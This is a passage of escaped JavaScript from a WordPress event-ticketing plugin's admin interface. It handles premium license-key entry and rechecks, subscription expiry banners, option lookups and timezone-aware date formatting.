				// them for 60s via transient, but JS fadeOut gives instant visual feedback
				// without waiting for page reload.
				let $serialValue = typeof value === &#039;string&#039; ? value.trim() : &#039;&#039;;
				if ($serialValue !== &#039;&#039;) {
					$(&#039;.saso-license-banner&#039;).fadeOut(400);
				}

				// Immediately recheck license after serial change
				let $statusEl = $(&#039;[data-key=&quot;serial&quot;]&#039;).parent().find(&#039;.saso-license-inline-status&#039;);
				if ($statusEl.length === 0) {
					$statusEl = $(&#039;&lt;span class=&quot;saso-license-inline-status&quot; style=&quot;margin-left:10px;&quot;&gt;&#039;);
					$(&#039;[data-key=&quot;serial&quot;]&#039;).after($statusEl);
				}
				$statusEl.html(&#039;&lt;i&gt;&#039;+__(&#039;Checking license...&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/i&gt;&#039;);
				_makePost(&#039;recheckLicense&#039;, {}, function(result) {
					if (result) {
						let color = result.active ? &#039;green&#039; : &#039;red&#039;;
						let label = result.active ? __(&#039;Active&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : __(&#039;Inactive&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
						if (result.subscription_type === &#039;lifetime&#039;) label += &#039; (Lifetime)&#039;;
						$statusEl.html(&#039;&lt;span style=&quot;color:&#039;+color+&#039;;font-weight:bold;&quot;&gt;&#039;+label+&#039;&lt;/span&gt;&#039;);
					}
					// ALWAYS reload after a serial save — the backend may have swapped
					// Starter → Premium during save, and the page state needs to refresh
					// to reflect the new plugin. Reloading regardless of active/inactive
					// ensures users never get stuck with a stale banner.
					if ($serialValue !== &#039;&#039;) {
						setTimeout(function() { location.reload(); }, 2000);
					}
				}, function() {
					$statusEl.html(&#039;&lt;span style=&quot;color:red;&quot;&gt;&#039;+__(&#039;Check failed&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;);
					// Reload anyway — save succeeded, recheck just failed (network/server)
					if ($serialValue !== &#039;&#039;) {
						setTimeout(function() { location.reload(); }, 3000);
					}
				});
				if (_getOptions_Versions_getByKey(&#039;isOldPremiumDetected&#039;)) {
					__checkPremiumUpdateAfterSerial(value);
				}
			}
		}, null,
		()=&gt;{
			pcbf &amp;&amp; pcbf();
			if (key == &quot;wcTicketDesignerTemplateTest&quot;) {
				$(&quot;#wcTicketDesignerTemplateTest_button_PDF&quot;).prop(&quot;disabled&quot;, true).text(__(&#039;saving...&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
			}
		});

	}

	function _setOptions(optionData) {
		OPTIONS.list = optionData.options;
		for (let a=0;a&lt;OPTIONS.list.length;a++) {
			let item = OPTIONS.list[a];
			OPTIONS.mapKeys[item.key] = item;
			OPTIONS.mapKeys[item.key].getValue = function(key) {
				return function() {return _getOptions_getValByKey(key);};
			}(item.key);
		}
		if (optionData.versions) {
			if (!optionData.versions.IS_PRETTY_PERMALINK_ACTIVATED) {
				LAYOUT.renderInfoBox(__(&quot;Warning&quot;, &#039;event-tickets-with-ticket-scanner&#039;), __(&quot;In order to make the ticket detail view and the ticket scanner work, you need to set a permalink structure within the settings.&lt;br&gt;Please go to the settings-&gt;permalinks and choose a permalink structure, that is not &#039;plain&#039;.&quot;, &#039;event-tickets-with-ticket-scanner&#039;));
			}
			OPTIONS.versions.mapKeys = optionData.versions;
		}
		system.is_debug = typeof optionData.versions.is_debug != &quot;undefined&quot; &amp;&amp; optionData.versions.is_debug == 1 ? true : false;
		if (optionData.meta_tags_keys) {
			OPTIONS.meta_tags_keys.list = optionData.meta_tags_keys;
			OPTIONS.meta_tags_keys.mapKeys = {};
			for (let a=0;a&lt;OPTIONS.meta_tags_keys.list.length;a++) {
				let item = OPTIONS.meta_tags_keys.list[a];
				OPTIONS.meta_tags_keys.mapKeys[item.key] = item;
				OPTIONS.meta_tags_keys.mapKeys[item.key].getValue = function(key) {
					return function() {return _getOptions_Meta_getValByKey(key);};
				}(item.key);
			}
		}
		if (optionData.infos) {
			OPTIONS.infos = optionData.infos;
		}
		if (optionData.tickets_for_testing) {
			OPTIONS.tickets_for_testing = optionData.tickets_for_testing;
		}
		if (optionData.options_special) {
			OPTIONS.options_special = optionData.options_special;
		}
		OPTIONS.dismissed_suggestions = optionData.dismissed_suggestions || [];

		let _hasPremiumVersion = _getOptions_Versions_getByKey(&#039;premium&#039;) != &#039;&#039;;
		if (_hasPremiumVersion) {
			let serial = _getOptions_getValByKey(&#039;serial&#039;);
			// 24h dismiss: clicking &quot;Later&quot; stores a localStorage timestamp
			// so the modal stays quiet for a day instead of nagging on every
			// admin page load. Customer can still enter the key on the
			// Options page anytime — the field is rendered there.
			let licenseDismissedUntil = 0;
			try {
				licenseDismissedUntil = parseInt(localStorage.getItem(&#039;saso_et_license_modal_dismissed_until&#039;) || &#039;0&#039;, 10) || 0;
			} catch (e) { /* private mode, no localStorage — fall through */ }
			let dismissNow = Date.now();
			if (serial == &#039;&#039; &amp;&amp; licenseDismissedUntil &gt; dismissNow) {
				// quiet — fall through
			} else if (serial == &#039;&#039;) {
				if (STATE != &quot;options&quot;) {
					let dlgContent = $(&#039;&lt;div/&gt;&#039;);
					dlgContent.append(&#039;&lt;p&gt;&#039;+__(&#039;Thank you for using the Premium version!&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
					dlgContent.append(&#039;&lt;p&gt;&#039;+__(&#039;Please enter your license key to activate updates and premium features.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
					let serialInput = $(&#039;&lt;input type=&quot;text&quot; style=&quot;width:100%;padding:8px;font-size:14px;border:1px solid #ccc;border-radius:4px;&quot; placeholder=&quot;XXXX-XXXX-XXXX-XXXX&quot;/&gt;&#039;);
					dlgContent.append(serialInput);
					let statusDiv = $(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;display&quot;:&quot;none&quot;});
					dlgContent.append(statusDiv);
					dlgContent.dialog({
						title: __(&#039;Premium License Key&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						modal: true,
						width: 450,
						dialogClass: &quot;no-close&quot;,
						open: function() { setTimeout(function(){ serialInput.focus(); }, 100); },
						buttons: [
							{
								text: __(&#039;Activate&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
								class: &quot;button-primary&quot;,
								click: function() {
									let $dlg = $(this);
									let key = serialInput.val().trim();
									if (key === &#039;&#039;) {
										statusDiv.html(&#039;&lt;span style=&quot;color:red;&quot;&gt;&#039;+__(&#039;Please enter a license key.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;).show();
										return;
									}
									// Lock UI — big spinner, disable everything so user waits
									$dlg.parent().find(&#039;.ui-dialog-buttonpane button&#039;).prop(&#039;disabled&#039;, true).css({opacity: 0.5, cursor: &#039;not-allowed&#039;});
									$dlg.parent().find(&#039;.ui-dialog-buttonpane button.button-primary&#039;).text(__(&#039;Checking...&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
									serialInput.prop(&#039;disabled&#039;, true).css(&#039;opacity&#039;, 0.5);
									statusDiv.html(
										&#039;&lt;div style=&quot;display:flex;align-items:center;justify-content:center;gap:10px;padding:14px;background:#f8fafc;border-radius:8px;border:1px solid #e2e8f0&quot;&gt;&#039;
										+ &#039;&lt;span class=&quot;spinner is-active&quot; style=&quot;float:none;margin:0;visibility:visible&quot;&gt;&lt;/span&gt;&#039;
										+ &#039;&lt;span style=&quot;color:#334155;font-weight:500&quot;&gt;&#039;+__(&#039;Validating license — please wait…&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&#039;
										+ &#039;&lt;/div&gt;&#039;
									).show();
									_makePost(&#039;changeOption&#039;, {key:&#039;serial&#039;, value:key}, function() {
										statusDiv.html(
											&#039;&lt;div style=&quot;padding:14px;background:#ecfdf5;border-radius:8px;border:1px solid #a7f3d0;color:#065f46;font-weight:600;text-align:center&quot;&gt;&#039;
											+ &#039;&amp;#10003; &#039;+__(&#039;License key saved. Reloading…&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
											+ &#039;&lt;/div&gt;&#039;
										);
										setTimeout(function(){ location.reload(); }, 1500);
									}, function(err) {
										$dlg.parent().find(&#039;.ui-dialog-buttonpane button&#039;).prop(&#039;disabled&#039;, false).css({opacity: 1, cursor: &#039;pointer&#039;});
										$dlg.parent().find(&#039;.ui-dialog-buttonpane button.button-primary&#039;).text(__(&#039;Activate&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
										serialInput.prop(&#039;disabled&#039;, false).css(&#039;opacity&#039;, 1);
										statusDiv.html(&#039;&lt;span style=&quot;color:red;&quot;&gt;&#039;+__(&#039;Error:&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039; &#039;+(err &amp;&amp; err.data ? err.data : &#039;unknown&#039;)+&#039;&lt;/span&gt;&#039;).show();
									});
								}
							},
							{
								text: __(&#039;Later&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
								class: &quot;button-secondary&quot;,
								click: function() {
									try {
										localStorage.setItem(&#039;saso_et_license_modal_dismissed_until&#039;, String(Date.now() + 24*60*60*1000));
									} catch (e) { /* ignore */ }
									$(this).dialog(&quot;close&quot;);
								}
							}
						]
					});
				}
			}
			if (serial != &quot;&quot; &amp;&amp; typeof OPTIONS.infos.premium_expiration !== &quot;undefined&quot;) {
				let expiration = OPTIONS.infos.premium_expiration;
				if (expiration.last_run != 0 &amp;&amp; expiration.timestamp &gt; 0) {
					let expirationDate = new Date(expiration.timestamp * 1000);
					let toCheck = new Date();
					toCheck.setDate(toCheck.getDate() + 21);
					let today = new Date();
					if (expirationDate &lt;= today || toCheck &gt;= expirationDate) {
						let msg = typeof expiration.message !== &quot;undefined&quot; &amp;&amp; expiration.message != &quot;&quot; ? &#039;&lt;br&gt;&#039;+expiration.message : &#039;&#039;;

						// Only warn for subscriptions, NOT for lifetime/onetime licenses
						// Lifetime licenses continue working with Basic &lt; 2.8.0
						let subType = expiration.subscription_type || &#039;&#039;;
						let isLifetime = subType === &#039;lifetime&#039; || subType === &#039;onetime&#039; || !subType;

						if (!isLifetime) {
							// Monthly or Yearly subscription - Premium will STOP
							let isMonthly = subType.toLowerCase().includes(&#039;month&#039;);
							let title, bodyText;

							if (isMonthly) {
								title = &quot;Your monthly subscription payment is due soon!&quot;;
								bodyText = &quot;Your premium license will be &lt;strong&gt;disabled&lt;/strong&gt; if the payment fails on &quot;+expiration.expiration_date+ &#039; &#039;+expiration.timezone+&#039;.&lt;br&gt;Please ensure your payment method is up to date.&lt;br&gt;&#039;+msg+&#039;After payment failure, the plugin will revert to Basic features only.&lt;br&gt;You can manage your subscription in your &lt;a target=\&quot;_blank\&quot; style=\&quot;color:white;font-weight:bold;\&quot; href=\&quot;https://vollstart.com/event-tickets-with-ticket-scanner/\&quot;&gt;account settings&lt;/a&gt;.&#039;;
							} else {
								title = &quot;Your premium license expires soon!&quot;;
								bodyText = &quot;Your premium license will be &lt;strong&gt;disabled&lt;/strong&gt; on &quot;+expiration.expiration_date+ &#039; &#039;+expiration.timezone+&#039;.&lt;br&gt;It will revert to Basic features only after expiration.&lt;br&gt;&#039;+msg+&#039;You can &lt;a target=\&quot;_blank\&quot; style=\&quot;color:white;font-weight:bold;\&quot; href=\&quot;https://vollstart.com/event-tickets-with-ticket-scanner/\&quot;&gt;renew your premium license here&lt;/a&gt;.&#039;;
							}

							let info_box = $(&#039;&lt;div style=&quot;background-color:#dc3232;color:white;padding:10px;border-left:4px solid #dc3232;&quot;&gt;&#039;).html(&quot;&lt;strong&gt;&quot;+title+&quot;&lt;/strong&gt;&lt;br&gt;&quot;+bodyText);
							$(&#039;body&#039;).find(&#039;div[data-id=&quot;plugin_info_area&quot;]&#039;).html(info_box);
						}
					}
				}
			}
		}
	}

	function _getOptions_getByKey(key) {
		if (OPTIONS.mapKeys[key]) return OPTIONS.mapKeys[key];
		return null;
	}
	function _getOptions_Meta_getByKey(key) {
		if (OPTIONS.meta_tags_keys.mapKeys[key]) return OPTIONS.meta_tags_keys.mapKeys[key];
		return null;
	}
	function _getOptions_Versions_getByKey(key) {
		if (OPTIONS.versions.mapKeys[key]) return OPTIONS.versions.mapKeys[key];
		return null;
	}
	function _getOptions_Infos_getByKey(key) {
		if (OPTIONS.infos[key]) return OPTIONS.infos[key];
		return null;
	}
	function _getOptions_isActivatedByKey(key) {
		let po = _getOptions_getByKey(key);
		if (po == null) return false;
		return po.value == 1;
	}
	function _getOptions_Versions_isActivatedByKey(key) {
		let po = _getOptions_Versions_getByKey(key);
		if (po == null) return false;
		return po == 1;
	}
	function _getOptions_getLabelByKey(key) {
		let po = _getOptions_getByKey(key);
		if (po == null) return &quot;&quot;;
		return po.label;
	}
	function _getOptions_Meta_getLabelByKey(key) {
		let po = _getOptions_Meta_getByKey(key);
		if (po == null) return &quot;&quot;;
		return po.label;
	}
	function _getOptions_getValByKey(key) {
		let po = _getOptions_getByKey(key);
		if (po == null) return &quot;&quot;;
		return po.value == &quot;&quot; ? po[&#039;default&#039;] : po.value;
	}
	function _getOptions_Versions_getValByKey(key) {
		let po = _getOptions_Versions_getByKey(key);
		if (po == null) return &quot;&quot;;
		return po;
	}

	function basics_ermittelURLParameter() {
		var parawerte = {};
	    var teile;
	    if (window.location.search !== &quot;&quot;) {
	        teile = window.location.search.substring(1).split(&quot;&amp;&quot;);
	        for (var a=0;a&lt;teile.length;a++)
	        {
	            var pos = teile[a].indexOf(&quot;=&quot;);
	            if (pos &lt; 0) {
	                parawerte[teile[a]] = true;
	            } else {
	                var key = teile[a].substring(0,pos);
	                parawerte[key] = decodeURIComponent(teile[a].substring(pos+1));
	            }
	        }
	    }
	    return parawerte;
	}

	function intval(v) {
		let retv = parseInt(v,10);
		if (isNaN(retv)) retv = 0;
		return retv;
	}

	function getDefaultDateFormat() {
		return (OPTIONS?.options_special?.format_date) ? OPTIONS.options_special.format_date : &quot;d.m.Y&quot;;
	}
	function getDefaultDateTimeFormat() {
		return OPTIONS.options_special.format_datetime ? OPTIONS.options_special.format_datetime : &quot;d.m.Y H:i&quot;;
	}
	function DateTime2Text(millisek) {
		return Date2Text(millisek, getDefaultDateTimeFormat());
	}
	/*
	function Date2Text(millisek, format, timezone_id) {
		if (!timezone_id) timezone_id =  _getOptions_Versions_getByKey(&quot;date_WP_timezone&quot;);
		if (!millisek)
			millisek = time(timezone_id);
		var d = new Date(millisek);
		if (!format)
			//format = system.format_date ? system.format_date : &quot;%d.%m.%Y&quot;;
            format = getDefaultDateFormat();
			//format = &quot;%d.%m.%Y %H:%i&quot;;
		var tage = [
            _x(&#039;Sun&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Mon&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Tue&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Wed&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Thu&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Fri&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Sat&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
        ];
		var monate = [
            _x(&#039;Jan&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Feb&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Mar&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Apr&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;May&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Jun&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Jul&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Aug&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Sep&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Oct&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Nov&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
            _x(&#039;Dec&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
        ];
		var formate = {&#039;d&#039;:d.getDate()&lt;10?&#039;0&#039;+d.getDate():d.getDate(),
				&#039;j&#039;:d.getDate(),&#039;D&#039;:tage[d.getDay()],&#039;w&#039;:d.getDate(),&#039;m&#039;:d.getMonth()+1&lt;10?&#039;0&#039;+(d.getMonth()+1):d.getMonth()+1,&#039;M&#039;:monate[d.getMonth()],
				&#039;n&#039;:d.getMonth()+1,&#039;Y&#039;:d.getFullYear(),&#039;y&#039;:d.getYear()&gt;100?d.getYear().toString().substring(d.getYear().toString().length-2):d.getYear(),
				&#039;H&#039;:d.getHours()&lt;10?&#039;0&#039;+d.getHours():d.getHours(),&#039;h&#039;:d.getHours()&gt;12?d.getHours()-12:d.getHours(),
				&#039;i&#039;:d.getMinutes()&lt;10?&#039;0&#039;+d.getMinutes():d.getMinutes(),&#039;s&#039;:d.getSeconds()&lt;10?&#039;0&#039;+d.getSeconds():d.getSeconds()
				};
        for (var akey in formate) {
            //var rg = new RegExp(&#039;%&#039;+akey, &quot;g&quot;);
            var rg = new RegExp(akey, &quot;g&quot;);
            format = format.replace(rg, formate[akey]);
        }
		return format;
	}
	*/

	function DateFormatStringToDateTimeText(datestring, format, timezone_id) {
		if (!format) format = getDefaultDateTimeFormat();
		let millisek = parseToMillis(datestring, timezone_id);
		return Date2Text(millisek, format, timezone_id);
	}
	function DateFormatStringToDateText(datestring, format, timezone_id) {
		let millisek = parseToMillis(datestring, timezone_id);
		return Date2Text(millisek, format, timezone_id);
	}

	function Date2Text(millisek, format, timezone_id) {
		// 1) Timezone bestimmen (Fallback: UTC)
		if (!timezone_id) {
			timezone_id = _getOptions_Versions_getByKey(&quot;date_WP_timezone&quot;) || &quot;UTC&quot;;
		}

		// 2) Timestamp normalisieren (PHP liefert oft Sekunden; JS braucht Millisekunden)
		if (typeof millisek === &quot;string&quot;) millisek = Number(millisek);
		if (!millisek) {
			// Deine bestehende Logik – falls du hier einen Unix-TS in Sekunden bekommst, bitte ggf. *1000 ergänzen
			millisek = time(timezone_id);
		}
		if (String(Math.trunc(millisek)).length === 10) {
			millisek = millisek * 1000;
		}
		const date = new Date(Number(millisek));

		// 3) Defaults für Format
		if (!format) {
			format = getDefaultDateFormat();
		}

		// 4) Lokalisierte Kurzformen (nutzt deine _x-Übersetzungen)
		const tage = [
			_x(&#039;Sun&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Mon&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Tue&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Wed&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Thu&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Fri&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Sat&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
		];
		const monate = [
			_x(&#039;Jan&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Feb&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Mar&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Apr&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;May&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Jun&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Jul&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Aug&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Sep&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Oct&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Nov&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			_x(&#039;Dec&#039;, &#039;cal&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
		];

		// 5) Teile in gewünschter Timezone extrahieren
		const dtf = new Intl.DateTimeFormat(&quot;de-CH&quot;, {
			timeZone: timezone_id,
			year: &quot;numeric&quot;,
			month: &quot;2-digit&quot;,
			day: &quot;2-digit&quot;,
			hour: &quot;2-digit&quot;,
			minute: &quot;2-digit&quot;,
			second: &quot;2-digit&quot;,
			weekday: &quot;short&quot;,
			hour12: false
		});
		const parts = Object.fromEntries(dtf.formatToParts(date).map(p =&gt; [p.type, p.value]));

		const monthNum = Number(parts.month);     // 1..12 (als &quot;01&quot;..&quot;12&quot;)
		const dayNum   = Number(parts.day);       // 1..31
		const hourNum  = Number(parts.hour);      // 0..23

		// Wochentag-Index (0=Sun..6=Sat) in der angegebenen Timezone
		const weekdayEn = new Intl.DateTimeFormat(&quot;en-US&quot;, { timeZone: timezone_id, weekday: &quot;short&quot; }).format(date);
		const weekdayIndex = [&quot;Sun&quot;,&quot;Mon&quot;,&quot;Tue&quot;,&quot;Wed&quot;,&quot;Thu&quot;,&quot;Fri&quot;,&quot;Sat&quot;].indexOf(weekdayEn);

		// 6) Token-Mapping (PHP-ähnlich)
		const formate = {
			&#039;d&#039;: parts.day,                                   // 01..31
			&#039;j&#039;: String(dayNum),                              // 1..31
			&#039;D&#039;: tage[weekdayIndex],                          // So/Mo/... (aus _x oben, hier auf &#039;Sun&#039;.. gemappt)
			&#039;w&#039;: String(weekdayIndex),                        // 0..6 (So=0)
			&#039;m&#039;: parts.month,                                 // 01..12
			&#039;M&#039;: monate[monthNum - 1],                        // Jan..Dec (aus _x oben)
			&#039;n&#039;: String(monthNum),                            // 1..12
			&#039;Y&#039;: parts.year,                                  // 2025
			&#039;y&#039;: parts.year.slice(-2),                        // 25
			&#039;H&#039;: parts.hour,                                  // 00..23
			&#039;h&#039;: String(((hourNum % 12) || 12)).padStart(2,&#039;0&#039;), // 01..12
			&#039;i&#039;: parts.minute,                                // 00..59
			&#039;s&#039;: parts.second                                 // 00..59
		};

		// 7) Token ersetzen (ohne %; entspricht deiner aktuellen Logik)
		for (const akey in formate) {
			const rg = new RegExp(akey, &quot;g&quot;);
			format = format.replace(rg, formate[akey]);
		}
		return format;
	}

	// Hilfsfunktion: Offset-Minuten einer IANA-Zeitzone für einen UTC-Instant ermitteln.
	// Nutzt Intl.DateTimeFormat mit timeZoneName:&#039;shortOffset&#039; (z.B. &quot;GMT+2&quot;).
	function _getTzOffsetMinutes(utcDate, timezone_id) {
		const fmt = new Intl.DateTimeFormat(&#039;en-US&#039;, {
			timeZone: timezone_id,
			timeZoneName: &#039;shortOffset&#039;,
			year: &#039;numeric&#039;, month: &#039;2-digit&#039;, day: &#039;2-digit&#039;,
			hour: &#039;2-digit&#039;, minute: &#039;2-digit&#039;, second: &#039;2-digit&#039;,
			hour12: false
		});
		const parts = fmt.formatToParts(utcDate);
		const z = parts.find(p =&gt; p.type === &#039;timeZoneName&#039;)?.value || &#039;GMT+0&#039;;
		// Erwartete Form: &quot;GMT+2&quot; oder &quot;GMT+02:00&quot;
		const m = z.match(/GMT([+-])(\d{1,2})(?::?(\d{2}))?/i);
		if (!m) return 0;
		const sign = m[1] === &#039;-&#039; ? -1 : 1;
		const hours = parseInt(m[2], 10);
		const mins  = m[3] ? parseInt(m[3], 10) : 0;
		return sign * (hours * 60 + mins);
	}

	// Wandelt verschiedenste Eingaben in einen UTC-Millis-Timestamp.
	// - Zahlen (Sekunden/Millis) -&gt; normalisiert
	// - ISO-Strings mit Z/±hh:mm -&gt; nativ geparst
	// - Naive Strings (z.B. &quot;YYYY-MM-DD HH:mm:ss&quot;) -&gt; als timezone_id-Wandzeit interpretiert
	function parseToMillis(input, timezone_id) {
		timezone_id = timezone_id || (typeof _getOptions_Versions_getByKey === &#039;function&#039;
			? _getOptions_Versions_getByKey(&quot;date_WP_timezone&quot;) : &quot;UTC&quot;);

		// 1) Direkt Number?
		if (typeof input === &#039;number&#039;) {
			// 10-stellige Sekunden -&gt; *1000
			if (String(Math.trunc(input)).length === 10) return input * 1000;
			return input; // bereits Millisekunden
		}

		// 2) String -&gt; trim
		if (typeof input === &#039;string&#039;) {
			const s = input.trim();

			// 2a) Reine Ziffern -&gt; Sekunden/Millis
			if (/^\d+$/.test(s)) {
				const n = Number(s);
				return (s.length === 10) ? n * 1000 : n;
			}

			// 2b) ISO mit Z / Offset -&gt; nativ (sicher)
			if (/T.*(Z|[+-]\d{2}:\d{2})$/.test(s)) {
				const d = new Date(s);
				if (!isNaN(d)) return d.getTime();
			}

			// 2c) Naive Formate: &quot;YYYY-MM-DD HH:mm:ss&quot; | &quot;YYYY/MM/DD HH:mm&quot; | &quot;YYYY-MM-DD&quot;
			// Wir parsen Komponenten und interpretieren sie als Wandzeit in timezone_id.
			const m = s.match(
				/^(\d{4})[-\/](\d{2})[-\/](\d{2})(?:[ T](\d{2}):(\d{2})(?::(\d{2}))?)?$/
			);
			if (m) {
				const Y = parseInt(m[1], 10);
				const Mo = parseInt(m[2], 10);
				const D = parseInt(m[3], 10);
				const H = m[4] ? parseInt(m[4], 10) : 0;
				const I = m[5] ? parseInt(m[5], 10) : 0;
				const S = m[6] ? parseInt(m[6], 10) : 0;

				// Instant-Kandidat in UTC aus den &quot;lokalen&quot; Komponenten
				// Idee: Komponenten als UTC annehmen -&gt; Offset der Ziel-Zeitzone abziehen.
				const utcGuess = new Date(Date.UTC(Y, Mo - 1, D, H, I, S));

				// Offset der Ziel-Zone zum angegebenen Zeitpunkt holen (inkl. DST)
				const offMin = _getTzOffsetMinutes(utcGuess, timezone_id);

				// Echte UTC-Millis, wenn Y-M-D H:I:S die Wandzeit in timezone_id ist:
				return utcGuess.getTime() - offMin * 60 * 1000;
			}

			// 2d) Fallback: Versuch natives Date (Browser-lokal) – nicht ideal, aber besser als NaN
			const d = new Date(s.replace(&#039; &#039;, &#039;T&#039;));
			if (!isNaN(d)) return d.getTime();
		}

		// 3) Wenn alles fehlschlägt -&gt; NaN (oder wirf Fehler je nach Policy)
		return NaN;
	}
	function _getMediaData(mediaid, cbf) {
		_makeGet(&#039;getMediaData&#039;, {&#039;mediaid&#039;:mediaid}, (ret)=&gt;{
			cbf &amp;&amp; cbf(ret);
		});
	}

	function getDataLists(cbf) {
		if (DATA_LISTS !== null) cbf &amp;&amp; cbf();
		_makeGet(&#039;getLists&#039;, {}, data=&gt;{
			DATA_LISTS = data;
			__updateFirstStepsProgress();
			cbf &amp;&amp; cbf(DATA_LISTS);
		});
	}

	function getCodeObjectMeta(codeObj) {
		if (codeObj.metaObj) return codeObj.metaObj;
		try {
			if (typeof codeObj.meta == &quot;undefined&quot; || codeObj.meta == &quot;&quot;) {
				codeObj.metaObj = null;
			} else {
				codeObj.metaObj = JSON.parse(codeObj.meta);
			}
		} catch(e) {
			// new empty tickets have no meta
			//console.log(&quot;Error should not happen. Meta is broken. &quot;, codeObj);
			codeObj.metaObj = null;
		}
		return codeObj.metaObj;
	}

	function updateCodeObject(codeObj, newCodeObj) {
		for(var prop in newCodeObj) {
			codeObj[prop] = newCodeObj[prop];
		}
		codeObj.metaObj = null;
	}

	function closeDialog(dlg) {
		try {
			$(dlg).dialog(&quot;close&quot;);
		} catch(e) {}
		$(dlg).html(&#039;&#039;);
		try {
			$(dlg).dialog(&quot;destroy&quot;);
		} catch(e) {}
		$(dlg).remove();
	}

	function getUseFulVideosHTML() {
		return &#039;&lt;h3&gt;Useful videos&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;span class=&quot;dashicons dashicons-external&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://youtu.be/yJcHMV7oAFc&quot; target=&quot;_blank&quot;&gt;Setup for use case Event Organizer (Youtube)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;dashicons dashicons-external&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=TDMWI0R_HXQ&quot; target=&quot;_blank&quot;&gt;Setup for use case Club, Spa and Fitness clubs (Youtube)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&#039;;
	}

	function getAuthtokens(cbf) {
		if (DATA_AUTHTOKENS !== null) cbf &amp;&amp; cbf();
		_makeGet(&#039;getAuthtokens&#039;, {}, data=&gt;{
			DATA_AUTHTOKENS = data;
			cbf &amp;&amp; cbf(DATA_AUTHTOKENS);
		});
	}

	function _displayAuthTokensArea() {
		STATE = &#039;authtokens&#039;;
		DIV.html(&#039;&#039;);
		DIV.append(getBackButtonDiv());

		DIV.append(&#039;&lt;h3&gt;&#039;+_x(&#039;Auth Token&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
